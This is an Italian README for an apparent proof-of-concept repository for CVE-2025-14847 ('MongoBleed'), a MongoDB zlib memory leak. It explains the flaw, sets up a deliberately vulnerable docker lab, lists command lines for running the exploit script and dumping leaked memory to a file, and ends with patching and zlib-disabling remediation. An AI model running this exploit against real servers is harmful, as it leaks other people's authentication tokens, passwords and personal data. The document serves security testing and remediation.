CVE-2025-14847 - MongoBleed

👨‍💻 Autore: Furkan KAYAPINAR (@FurkanKAYAPINAR)

⚠️ SOLO A SCOPO EDUCATIVO

Ambiente di laboratorio e script di exploit per la critica vulnerabilità di perdita di memoria non autenticata in MongoDB Server.

📋 Indice

• Panoramica della vulnerabilità

• Versioni interessate

• Installazione

• Ambiente di laboratorio

• Utilizzo

• Rimedio

• Disclaimer legale

🔴 Panoramica della vulnerabilità

CVE-2025-14847 (MongoBleed) è una vulnerabilità critica di perdita di memoria non autenticata nella gestione della compressione zlib di MongoDB Server.

Dettagli tecnici

La vulnerabilità risiede in message_compressor_zlib.cpp. Durante l'elaborazione dei messaggi OP_COMPRESSED:

1. L'attaccante invia un messaggio manipolato con campi di lunghezza inconsistenti
2. Il server alloca un buffer basato su uncompressedSize dichiarata
3. I dati decompressi effettivi sono inferiori a quelli dichiarati
4. Il server restituisce la lunghezza del buffer allocato invece della lunghezza effettiva dei dati
5. La memoria heap non inizializzata viene divulgata all'attaccante

Impatto

I dati divulgati possono includere:

• 🔑 Token di autenticazione e segreti
• 🗄️ Dati delle sessioni del database
• 👤 Dati personali identificabili (PII)
• 🔐 Chiavi API e password
• ⚙️ Dettagli di configurazione

📦 Versioni interessate

🚀 Installazione

# Clone repository
git clone https://github.com/FurkanKAYAPINAR/CVE-2025-14847-MongoDB.git
cd CVE-2025-14847-MongoDB

# Create virtual environment
python3 -m venv venv
source venv/bin/activate  # Linux/macOS
# venv\Scripts\activate   # Windows

# Install dependencies
pip install -r requirements.txt

🧪 Ambiente di laboratorio

Avvia un'istanza vulnerabile di MongoDB per i test:

cd lab

# Start vulnerable MongoDB (6.0.26 with zlib enabled)
docker-compose up -d

# Verify it's running
docker-compose ps

# Load sample data (optional)
./setup.sh load-data

# Stop lab
docker-compose down

💀 Utilizzo

Exploit di base

# Single target
python exploit/mongobleed.py -u 127.0.0.1

# With specific port
python exploit/mongobleed.py -u 127.0.0.1 -p 27017

# Save leaked data to file
python exploit/mongobleed.py -u 127.0.0.1 -o leaked_data.bin

# Multiple iterations for more data
python exploit/mongobleed.py -u 127.0.0.1 -i 20

# Quiet mode (less output)
python exploit/mongobleed.py -u 127.0.0.1 -q

# Without hex dump (text output)
python exploit/mongobleed.py -u 127.0.0.1 --text

🔧 Rimedio

Opzione 1: Aggiornamento (Consigliato)

# Update to patched version
# Example for MongoDB 6.x
sudo apt-get update
sudo apt-get install mongodb-org=6.0.27

Opzione 2: Disabilitare la compressione zlib

# Start mongod without zlib
mongod --networkMessageCompressors snappy,zstd

# Or in mongod.conf
net:
  compression:
    compressors: snappy,zstd

Verifica della correzione

python remediation/verify_fix.py --target 127.0.0.1 --port 27017

⚖️ Disclaimer legale

🚨 AVVERTENZA

Questo strumento è fornito solo per scopi educativi e di test di sicurezza autorizzati.

• L'accesso non autorizzato a sistemi informatici è illegale
• Sei l'unico responsabile delle tue azioni
• Gli autori non si assumono alcuna responsabilità per un uso improprio

Usando questo strumento, accetti di avere la corretta autorizzazione per testare i sistemi target.

📚 Riferimenti

• NVD - CVE-2025-14847
• Avviso di sicurezza MongoDB
• Analisi Varonis - MongoBleed

🤝 Contributi

I contributi sono benvenuti! Si prega di leggere prima CONTRIBUTING.md.

📄 Licenza

Questo progetto è concesso in licenza sotto la licenza MIT - vedi file LICENSE.